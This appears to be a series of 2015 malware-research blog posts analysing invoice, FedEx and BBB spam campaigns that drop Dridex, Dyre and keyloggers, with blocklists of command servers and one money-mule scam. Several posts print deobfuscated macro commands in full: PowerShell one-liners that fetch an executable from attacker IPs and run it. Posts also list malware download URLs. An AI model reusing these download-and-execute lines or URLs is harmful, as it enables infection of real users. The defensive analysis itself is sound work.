Malware spam: "Unpaid invoice [ID:9876543210]" drops Dridex

This fake invoice comes with no body text, a random ID: in the subject and a randomly-named malicious Excel attachment

Date:    17 February 2015 at 14:05
Subject:    Unpaid invoice [ID:9876543210]
Some example attachment names are:

3356201778.xls
5EABA06572.xls
6F5FE56048.xls
A6AA331555.xls
B2D4C97246.xls
C9E5445852.xls

There are found different variants, all with very low detection rates at VirusTotal [1] [2] [3] [4]. Each one contains a different variety of macros, and unlike previous spam runs, these are individual modules (which frankly makes it no harder to analyse, just harder to put into Pastebin).

When we decrypt the strings in the macro, we see:

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://78.129.153.27/sdeoefefs/dfssk.cab','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://92.63.88.87/sdeoefefs/dfssk.cab','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://62.76.43.194/sdeoefefs/dfssk.cab','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://46.4.232.206/sdeoefefs/dfssk.cab','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;
This combines the recent Powershell trick with a new one. Instead of downloading an EXE file, it downloads and unpacks a CAB file, dfssk.cab which is saved in the %TEMP% folder and then expanded to %TEMP%\JIOiodfhioIH.exe.

These download locations are:
92.63.88.87 (MWTV, Latvia)
78.129.153.27 (iomart, UK)
62.76.43.194 (IT House / Clodo-Cloud, Russia)
46.4.232.206 (Hetzner, Germany / Dmitry Zheltov, Russia)

Automated analysis tools [1] [2] [3] show this POSTing to 92.63.88.97 (MWTV,  Latvia), which is definitely worth blocking. Note that one of the download locations for the binary is only a few IPs away at  92.63.88.87.

ThreatExpert also shows attempted network connections to 92.63.88.97 plus:
136.243.237.194 (Hetzner, Germany)
74.208.68.243 (1&1, US)

This Malwr report shows a DLL with MD5 b83b18ffe375fad452c02bdf477864fe which has a VirusTotal detection rate of 3/57.

Recommended blocklist:
92.63.88.97
92.63.88.87
78.129.153.27
62.76.43.194

Money mule scam: gbearn.com / usaearns.com

This spam email is attempting to recruit people to aid with money laundering ("money mules") and other illegal operations.

Date:    16 February 2015 at 21:29
Subject:    New offer

Good day!
We considered your resume to be very attractive and we thought the vacant position in our company could be interesting for you.

Our firm specializes in advertisment services realizing unique products of creative advertising and branding strategies
and solutions to develop a distinctive brand value.

We cooperate with different countries and currently we have many clients in the USA and the EU.
Due to this fact, we need to increase the number of our destination representatives' regular staff.
In their duties will be included the document and payment control of our clients.
Part-time employment is currently important.
We offer a wage from 3500 GBP per month.

If you are interested in our offer, mail to us your answer on riley@gbearn.com and
we will send you an extensive information as soon as possible.
Respectively submitted

Personnel department
The reply-to address of gbearn.com has recently been registered by the scammers with false WHOIS details. There is also an equivalent domain usaearns.com for recruiting US victims.

Although there is no website, both domains have a mail server at 93.188.167.170 (Hostinger, US) which also serves as one of the nameservers for these domains (ns1.recognizettrauma.net). The other nameserver (ns2.recognizettrauma.net) is on 75.132.186.90 (Charter Communications, US).

Be in no doubt that the job being offered here is illegal, and you should most definitely avoid it.

Malware spam: "L&A Plastic Order# 66990" / "Hannah [Hannah@lapackaging.com]"

This fake financial spam does not come from LA Packaging, their systems are not compromised in any way. Instead, this is a simple forgery with a malicious attachment:

From:    Hannah [Hannah@lapackaging.com]
Date:    16 February 2015 at 10:38
Subject:    L&A Plastic Order# 66990

For your records, please see attached L&A Order# 66990 and credit card receipt.
It has shipped today via UPS Ground Tracking# 1Z92X9070369494933

714-694-0400 Fax
E-mail: Hannah@LAPackaging.com
Attached is a malicious Word document 66990.doc - so far I have only seen one version of this, although there are usually several variants. This document contains a macro [pastebin] which downloads an executable from:

http://hoodoba.cba.pl/js/bin.exe

At present this has a detection rate of 6/57. It is the same malware as seen in this spam run.

Malware spam: "Re: Data request [ID:91460-2234721]" / "Copy of transaction"

This rather terse spam comes with a a malicious attachment:

From: Rosemary Gibbs
Date:    16 February 2015 at 10:12
Subject:    Re: Data request [ID:91460-2234721]

Copy of transaction.
The sender's name, the ID: number and the name of the attachment vary in each case. Example attachment names are

869B54732.xls
BE75129513.xls
C39189051.xls

None of the three attachments are detected by anti-virus vendors [1] [2] [3]. They each contain a slightly different macro [1] [2] [3]. The critical part of the encoded macro looks like this (click to enlarge):

It's quite apparent that this is ROT13 encoded which you can easily decrypt at rot13.com rather than working through the macro. These three samples give us:

"cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://85.143.166.140/fdhtepopdhd/sfbwurwfl/wyxbdf.exe','%TEMP%\JIOiodfhioIH.exe');Start-Process '%TEMP%\JIOiodfhioIH.exe';" 
"cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://92.63.88.104/fdhtepopdhd/sfbwurwfl/wyxbdf.exe','%TEMP%\JIOiodfhioIH.exe');Start-Process '%TEMP%\JIOiodfhioIH.exe';" 
"cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://5.196.175.140/fdhtepopdhd/sfbwurwfl/wyxbdf.exe','%TEMP%\JIOiodfhioIH.exe');Start-Process '%TEMP%\JIOiodfhioIH.exe';"
So, these macros are attempting to use Powershell to download and execute the next step (possibly to avoid the UAC popup). The downloaded binary has a VirusTotal detection rate of 3/57 and automated analysis tools [1] [2] [3] show attempted communications with:

85.143.166.72 (Pirix, Russia)
205.185.119.159 (FranTech Solutions, US)
92.63.88.87 (MWTV, Latvia)
173.226.183.204 (TW Telecom, Taiwan)
27.5.199.115 (Hathway Cable and Datacom, India)
149.171.76.124 (University Of New South Wales, Australia)
46.19.143.151 (Private Layer, Switzerland)


It also drops a DLL with a 4/57 detection rate which is the same malware seen in this attack.

Recommended blocklist:
85.143.166.72
205.185.119.159
92.63.88.87
173.226.183.204

Malware spam: "T.A.G. (The Automotive Group) Ltd." / "Lawrence Fisher [l.fisher@taghire.co.uk]" / invoice

This fake invoice does not come from The Automotive Group Ltd or any similarly-named company. Their systems have not been compromised in any way. Instead, this is a forgery with a malicous attachment. Note that the taghire.co.uk simply shows "Under Construction".

So far I have only seen one sample of this, with an attachment named Invoice 0215.doc which has zero detections according to VirusTotal. It contains an obfuscated Word macro which downloads an additional component from:

http://laikah.de/js/bin.exe

Usually there are two or three versions of this document, but I have only seen one. If  you look at the macro code itself, the download location is not encrypted in the code although other elements of the process are encrypted with a string + key combination. Those combinations contain non-printable characters, possibly in an attempt to avoid anaylsus,

This .exe file is downloaded as %TEMP%\345435.exe and it has a VirusTotal detection rate of 3/57.  Automated reporting tools [1] [2] [3] show that this POSTS to 37.139.47.105. It appears that communication is attempted with the following IPs:

37.139.47.105 (Pirix, Russia)
78.140.164.160 (Webazilla, US)
95.163.121.179 (Digital Networks, Russia)

117.223.58.214 (BSNL / Broadband Multiplay, India)
109.234.38.70 (McHost, Russia)


Also, according to the Malwr report, a DLL is dropped with a detection rate of 3/57.

Spammer: Brad Smith / Unicore Health / unicorehealth.net / unicorehealth.com

This slimed its way into my mailbox:

Subject:    Morgan, HR related question

Hi Morgan, could you let me know a time we could talk in the next few days? For HR managers we measure and video the essential functions and physical requirements of each key job so that clients like Coca-Cola and Publix can reduce their hiring risk and job injury risk. I thought you would like to quickly view the process, some interesting examples, and how to use them in your role. Just let me know a time that works in your schedule and I will confirm back, talk then!

Morgan Stanley? They must mean this Morgan Stanley. How did they confuse me with Morgan Stanley? Because I mention them on my website here. Now, I only know of one company that sends spam like this.. but more about them later.

Let's check the veracity of the message.. first, the mail headers.

This links unicorehealth.net with unicorehealth.com. Indeed, we can find "Bradley Smith" on the unicorehealth.com web site.


I emailed Mr Smith back twice and asked him how he came across the email address. He didn't bother to reply.

Previously I mentioned that I have seen this type of spam before from one particular company, BizSummits, run by Michael Price. In particular, they look for potential names on a website and then spam them, a technique that is highly inaccurate but does seem to be relatively successful nonetheless.

Now, Unicore Health is not BizSummits. But they both use a virtual office address in Altanta, about ten miles apart. So perhaps there is some personal connection between the two businesses or the people behind them.

One of Mr Price's other businesses is called PlugMeIn  (plugmein.com), which claims to reveal the email addresses of key people on certain websites. If this uses the same approach as the BizSummits spam, then it might well be just as inaccurate. And perhaps Unicore Health is using PlugMeIn technology to find email addresses.

But since Brad Smith didn't bother to reply to me, I can't tell if this spam was the result of faulty software, a bad email address list or just plain stupidity. Personally, I won't be buying anything from them soon.

UPDATE - January 2017

For various reasons, I ended revisiting this post and discovered that unicorehealth.net now displays a site "Hartford HR Summit" which is definitely a BizSummits / Michael Price site.

Something evil on 95.163.121.0/24 (Digital Network JSC / com4tel.ru / cloudavt.com)

I've written about DINETHOSTING aka Digital Network JSC many times before, and frankly their entire IP range is a sea of crap, and I have a whole load of blocks in the 95.163.64.0/18 range (including the entirity of 95.163.64.0/10). This latest sea of badness seems to be suballocated to a customer using the 95.163.121.0/24 block.

Just looking at blog posts, I can see badness occurring in the recent past on the following IPs:
95.163.121.71 [1]
95.163.121.72 [2]
95.163.121.188 [3]
95.163.121.216 [4]
95.163.121.217 [5]

That's quite a high concentration of bad servers in a relatively small block. A quick look at what is currently hosted indicates (in my personal opinion) nothing of value, and I would recommend blocking the entire 95.163.121.0/24 range as a precaution.

Attached is a malicious Word document 2600_001.DOC which actually comes in two different versions with low detection rates [1] [2] containing two slightly different macros [1] [2] which download a component from the following locations:

http://stroygp.ru/js/bin.exe
http://ibw-bautzen.de/js/bin.exe


This is saved as %TEMP%\dsHHH.exe and it has a detection rate of 13/57. Automated analysis tools [1] [2] [3] show the malware POSTing to:

37.139.47.105 (Pirix, Russia)
5.39.99.18 (OVH, France / Olga Borodynya, Russia)

The malware also drop a DLL with a MD5 of 6693f0093a2d6740149de5d6e950f6c6 (VT 6/57) which is the same Dridex DLL used in this campaign.


Malware spam: "Amazon Marketplace [delivery@amazon.uk]" / "Remittance [Report ID:34355-6014742]"

This email with no body text comes with a malicious Excel attachment:

Date:    13 February 2015 at 14:34
Subject:    RE: Remittance [Report ID:34355-6014742]
I have seen just a single sample of this with an attachment D87278F02E.XLS which has a zero detection rate at VirusTotal. This Excel spreadsheet contains this malicious Excel macro [pastebin] which attempts to execute the following command:
cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://95.163.121.217/aksjdderwd/asdbwk/dhoei.exe','%TEMP%\oUhjidsf.exe');Start-Process '%TEMP%\oUhjidsf.exe';
The downloaded file dhoei.exe is exactly the same as used in this spam run.




Malware spam: "Remittance XX12345678"

This spam comes from randomly-named companies, with slightly different body text and different subject in each case. Here is an example:

There is a malicious Word document attached to the email, so far I have only seen one version of this but usually there are two or more. The document itself has a low detection rate of 1/57 and it contains a malicious macrowhich downloads a file from the following location:

http://62.76.188.221/aksjdderwd/asdbwk/dhoei.exe

This is saved as %TEMP%\dsHHH.exe and has a detection rate of 7/57, identifed as a Dridex downloader. Automated analysis tools [1] [2] [3] [4] show a variety of activities, including communications with the following  IPs:

85.143.166.72 (Pirix, Russia)
46.19.143.151 (Private Layer, Switzerland)
193.206.162.92 (Universita degli Studi dell'Insubria, Italy)
92.63.88.87 (MWTV, Latvia)
78.129.153.18 (iomart, UK)
205.185.119.159 (Frantech Solutions, US)
The malware then drops a Dridex DLL with a detection rate of 3/52  and mysteriously drops another Dridex downloader with a detection rate of 6/57. The Malwr report for that indicates there is some attempting traffic to nonexistent domains.

Recommended blocklist:
85.143.166.72

A look at passive DNS records show a variety of sites including stressers, phishing pages, spammers, some malware, plus some other sites which are probably less evil. A lot of these sites are hiding behind Cloudflare, some other sites have moved on to other hosts.

I checked the current IPs and reputations of all the domains that I can find associate with the domain and put them here [csv]. Don't assume they are all evil, but some of those sites are.. interesting.

Attached is a file INVOICE.doc which is actually not a DOC at all, but an RTF file. A scan of the file at VirusTotal indicates that is is malicious, with a detection rate of 6/57. Those detection indicate that this is exploitng CVE-2012-0158 aka MS12-027, a security flaw patched almost three years ago. So if you keep your patches up-to-date, there's a good chance you will be OK. But if you are running an ancient version of Microsoft Office (for example Office 2000, 2002 or XP) then you could be in trouble.

The Malwr report for this is quite enlightening, showing the malware downloading another document from directxex.net/7783ed117ba0d69e/wisdomjacobs.exe. This has a detection rate of 14/57 and the Malwr report for this indicates that among other things it installs a keylogger, confirmed by the ThreatExpert report.

The domain directxex.net [Googe Safebrowsing] has an unsavoury reputation, and although it is currently hiding behind a Cloudflare IP, it actually appears to be hosted on an OVH France IP of 5.135.127.68. I definitely recommend that you block traffic to directxex.net.

Malware spam: "BBB Accreditation Services [no-replay@newyork.bbb.org]" / "BBB SBQ Form"

This fake BBB email has a malicious attachment.

From: BBB Accreditation Services [no-replay@newyork.bbb.org]

Attached is a file SQB Form.zip which contains a malicious executable SQB Form.exe. This has a VirusTotal detection rate of 4/57. Automated analysis tools [1] [2] [3] [4] show that attempts to connect to these following legitimate IPs and domains to determine the IP address and current time:


134.170.185.211
time.microsoft.akadns.net
checkip.dyndns.org

Of these, checkip.dyndns.org is worth monitoring as it is often an indicator of infection.

The Anubis report also shows a DNS query to semiyun.com on 95.173.170.227  (Netinternet, Turkey). Also the Malwr report shows connections to the following URLs:

http://92.240.99.70:12112/1202uk11/HOME/0/51-SP:/0/ELHBEDIBEHGBEHK
http://92.240.99.70:12112/1202uk11/HOME/41/7/4/
http://semiyun.com/mandoc/previewa.pdf


Of these, 92.240.99.70 (Ukrainian High Technologies Ltd, Ukraine) looks like the C&C server and this should definitely be blocked.

A file jeoQxZ5.exe is also dropped with a detection rate of 6/57. This is most likely the Dyre banking trojan. Samples can be found here, password is infected.

Malware spam: "Minuteman Press West Loop" / "westloop@minutemanpress.com" / "INVOICE 1398 - FEB 4 2015"

This fake invoice comes with a malicious attachment. It does not come from Minuteman Press, their systems have not been compromised in any way. Instead this is a simple email forgery.

I have seen just a single sample with an attachment INVOICE 1398 - FEB 4 2015.doc, although usually there are two or more variants so you may see slightly different ones. The DOC file has a VirusTotal detection rate of 0/57  and contains this malicious macro which downloads a second component from:

http://ecinteriordesign.com/js/bin.exe

This is then saved as %TEMP%\\IHJfffFF.exe and has a detection rate of 7/57. Automated analysis tools [1] [2] [3] show attempted connections to:

37.139.47.105
78.140.164.160
41.56.49.36
104.232.34.68
210.181.222.118

The Malwr report shows that it drops a DLL with an MD5 of 9001023d93beccd6c28ba67cbbc10cec which had a low detection rate at VT when it was checked a couple of hours ago.

Malware spam: "Gail Walker [gail@mblseminars.com]" / "Outstanding Invoice 271741"

This fake invoice does NOT comes from MBL Seminars, they are not sending this spam nor have their systems been compromised. Instead, this is a forgery with a malicious attachment.

So far I have seen two different malicious Word documents (there may be more) with low detection rates [1] [2] containing a different macro each [1] [2]. These download a component from the following locations:

http://www.rapidappliances.co.uk/js/bin.exe
http://translatorswithoutborders.com/js/bin.exe

This file is saves as %TEMP%\dsHHH.exe. It has a VirusTotal detection rate of 10/57. Automated analysis tools [1] [2] [3] show attempted connections to the following IPs:

37.139.47.105 (Comfortel, Russia)
5.39.99.18 (OVH, France / Olga Borodynya, Russia)
136.243.237.218 (Hetzner, Germany)
66.110.179.66 (Microtech Tel, US)
78.140.164.160 (Webazilla, Netherlands / Fozzy Inc, US)
109.234.38.70 (Mchost, Russia)

The Malwr report suggests an attempt to connect to these nonexistent domains:

U1Q6nUgvQfsx4xDu.com
bpmIYYreSPwa7.com
zdMjztmwoDX7cD.com

It also drops a DLL with a detection rate of 3/57 which is probably Dridex.

Recommended blocklist:
37.139.47.105
5.39.99.18
136.243.237.218
66.110.179.66
78.140.164.160
109.234.38.70


For researchers, a copy of the files can be found here. Password is infected.

UPDATE 2015-02-12

Another spam run is under way, with the same text but two different DOC files with zero detections [1] [2] containing one of two malicious macros [1] [2] that download another component from one of the following locations:

http://advancedheattreat.com/js/bin.exe
http://ecinteriordesign.com/js/bin.exe

The payload appears to be the same as the one used in this spam run.

Malware spam: "Your latest e-invoice from.."

This fake invoice spam has a malicious attachment:

From:    Lydia Oneal

Subject:    Your latest e-invoice from HSBC HLDGS

Dear Valued Customer,


Please find attached your latest invoice that has been posted to your online account. You’ll be pleased to know that your normal payment terms still apply as detailed on your invoice.

Rest assured, we operate a secure system, so we can confirm that the invoice DOC originates from HSBC HLDGS and is authenticated with a digital signature.

Thank you for using e-invoicing with HSBC HLDGS - the smarter, faster, greener way of processing invoices.

This message and any attachment are confidential and may be privileged or otherwise protected from disclosure.
If you are not the intended recipient, please telephone or email the sender and delete this message and any attachment from your system.
If you are not the intended recipient you must not copy this message or attachment or disclose the contents to any other person.
The company name and the name of the sender varies, but most of the body text remains identical. Some sample subjects are:

Your latest e-invoice from HSBC HLDGS
Your latest e-invoice from MAVEN INCOME & GROWTH VCT 3 PLC
Your latest e-invoice from DDD GROUP PLC
Your latest e-invoice from BAILLIE GIFFORD SHIN NIPPON
Your latest e-invoice from ACAL
Your latest e-invoice from PARAGON DIAMONDS LTD
Your latest e-invoice from TULLETT PREBON PLC

Your latest e-invoice from MERSEY DOCKS & HARBOUR CO
Your latest e-invoice from HOLDERS TECHNOLOGY
Your latest e-invoice from LED INTL HLDGS LTD 

Your latest e-invoice from HALOS
Your latest e-invoice from ACORN INCOME FUND

Your latest e-invoice from BLACKROCK WORLD MINING TRUST PLC
Your latest e-invoice from NATURE GROUP PLC
Your latest e-invoice from OPTOS
Your latest e-invoice from MENZIES(JOHN)
Your latest e-invoice from ATLANTIC COAL PLC


The word document is randomly-named, for example 256IFV.doc, 19093WZ.doc and 097DVN.doc. There are three different versions of this malicious document, all with low detection rates [1] [2] [3] containing a slightly different macro in each case [1] [2] [3]. If we deobfuscate the macro, we see some code like this:
cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://136.243.237.222:8080/hhacz45a/mnnmz.php','%TEMP%\pJIOfdfs.exe');Start-Process '%TEMP%\pJIOfdfs.exe';

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://185.48.56.62:8080/hhacz45a/mnnmz.php','%TEMP%\pJIOfdfs.exe');Start-Process '%TEMP%\pJIOfdfs.exe';

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://95.163.121.216:8080/hhacz45a/mnnmz.php','%TEMP%\pJIOfdfs.exe');Start-Process '%TEMP%\pJIOfdfs.exe';
The macro is calling Powershell to download and execute code from these locations:

http://136.243.237.222:8080/hhacz45a/mnnmz.php (Hetzer, Germany)
http://185.48.56.62:8080/hhacz45a/mnnmz.php (Sinarohost, Netherlands)
http://95.163.121.216:8080/hhacz45a/mnnmz.php (Digital Networks aka DINETHOSTING, Russia)

The code is downloaded as zzcasr.exe and is then saved as %TEMP%\pJIOfdfs.exe. This binary is of course malicious, with a detection rate of 5/57.

Automated analysis tools [1] [2] [3] [4] [5] show that it attempts to contact the following IPs:

85.143.166.72 (Pirix, Russia)
92.63.88.97 (MWTV, Latvia)
205.185.119.159 (FranTech Solutions, US)
78.129.153.18 (IOmart, UK)
5.14.26.146 (RCS & RDS Residential, Romania)

The malware probably drops a Dridex DLL, although I have not been able to obtain this.

Recommended blocklist:
85.143.166.72
92.63.88.97
205.185.119.159

78.129.153.18
5.14.26.146
136.243.237.222
185.48.56.62
95.163.121.216

Unusually, this email does not appear to be sent out by a botnet but has been sent through Gmail. The link in the email goes www.ebayonline.com.ng/download/ohafi/jfred/Purchase%20Order%20Copy_pdf.7z where it downloads a file Purchase Order Copy_pdf.7z  which (if you have 7-Zip installed) uncompresses to the trickily-named (1) Purchase Order Copy.pdf    ___________________   (2) Delivery Time and Packing.pdf    _______________________    _____ Adobe Reader.pdf or in    .exe

As you might expect, this is malicious in nature and has a VirusTotal detection rate of 34/57. The Malwr analysis indicates that this installs a keylogger among other things.

Something evil on 5.196.143.0/28 and 5.196.141.24/29 (verelox.com)

This quite interesting blog post from Cyphort got me digging into that part of the infection chain using nonsense .eu domains. It uncovered a whole series of IPs and domains that have been used to spread Cryptowall (possibly other malware too), hosted in the 5.196.143.0/28 and 5.196.141.24/29 ranges (and possibly more).

These are OVH IP ranges, suballocated to a customer called Verelox.com. I think that Verelox is a legitimate but very small web host that has suffered a major compromise of their servers.

The first range is 5.196.141.24/29 which has apparently compromised servers at:
 
5.196.141.24
5.196.141.25
5.196.141.26
5.196.141.27

..you can see a dump of probably evil domains in this pastebin. The second range is 5.196.143.0/28 with apparently compromised servers at:

5.196.143.3
5.196.143.4
5.196.143.5
5.196.143.6
5.196.143.7
5.196.143.8
5.196.143.10
5.196.143.11
5.196.143.12
5.196.143.13

..you can see a list of those domains in this pastebin

Registration details of the domains vary, including some that use the somewhat amusing email address reach4keys@gmail.com. Some of the .eu domains and the .xyz domains have contact details as follows:

Registrant ID: INTE54fjkzffmcv1
Registrant Name: Ramil Jamaletdinov
Registrant Organization:
Registrant Street: Bolshaya str, 15, kv.12
Registrant City: Moscow
Registrant State/Province:
Registrant Postal Code: 105553
Registrant Country: RU
Registrant Phone: +7.90988766754
Registrant Phone Ext:
Registrant Fax: +7.
Registrant Fax Ext:
Registrant Email: jramil889@gmail.com


I don't know if this person actually exists or indeed has anything to do with this, all searches come up blank.

In addition to this, some of these domains use nameservers on the following IP addresses:

168.235.70.106
168.235.69.219


These are allocated to Ramnode LLC in the US. I would suggest that they are under the control of the bad guys and are worth blocking traffic to.

Note that Cyphort identift these C&C servers for the malware:
asthalproperties.com:4444
pratikconsultancy.com:8080

The following IPs and domain names all seem to be connected and I would recommend blocking at least the IP addresses and domains in bold (the other domains look like they are probably throwaway ones):

5.196.143.0/28
5.196.141.24/29
168.235.69.219
168.235.70.106

Malware spam: "Unable to deliver your item, #000022074" / "FedEx 2Day A.M"

This fake FedEx spam has a malicious script attached.

From:    FedEx 2Day A.M.
Date:    5 February 2015 at 15:01
Subject:    PETRO, Unable to deliver your item, #0000220741

FedEx ®
Dear Petro,

We could not deliver your item.
You can review complete details of your order in the find attached.

Yours sincerely,
Marion Bacon,
Delivery Manager.
(C) 2014 FedEx. The content of this message is protected by copyright and trademark laws. All rights reserved.
Attached is a file FedEx_0000220741.zip which contains a malicious javascript which is highly obfuscated [pastebin] but it is a bit clearer when deobfuscated [pastebin]. This script has a moderate detection rate of 9/56, and downloads a file from:
http://freesmsmantra.com/document.php?id=5451565E140110160B0824140110160B08000D160107104A070B09&rnd=3252631
Which is saved as %TEMP%\11827407.exe. This has a low detection rate of 3/56. Automated analysis tools [1] [2] [3] don't give much of a clue as it has been hardened against analysis.

UPDATE: This tweet gives a bit more insight into the malware..
The malware dropped seems to be Boaxxe/miuref: ET TROJAN Miuref/Boaxxe Checkin {TCP} -> 91.231.87.90:80
So, I would definitely recommend blocking 91.231.87.90 and also the domain coldserv24.com which is hosted on that server and may be malicious.

Infographic: Operation Yewtree vs Operation Fernbridge arrests

Two broadly equivalent investigations into child abuse rings, Operation Yewtree and Operation Fernbridge have had very different outcomes.

Yewtree has seen arrests of several high-profile people involved in the media, the majority of whom have not been found guilty of anything. But the rumoured suspects in Fernbridge include politicians, civil servants, judges and leaders of industry as well as a pop star or two. Why are the current outcomes looking so different?

(an earlier version of this infographic was published in July 2014)
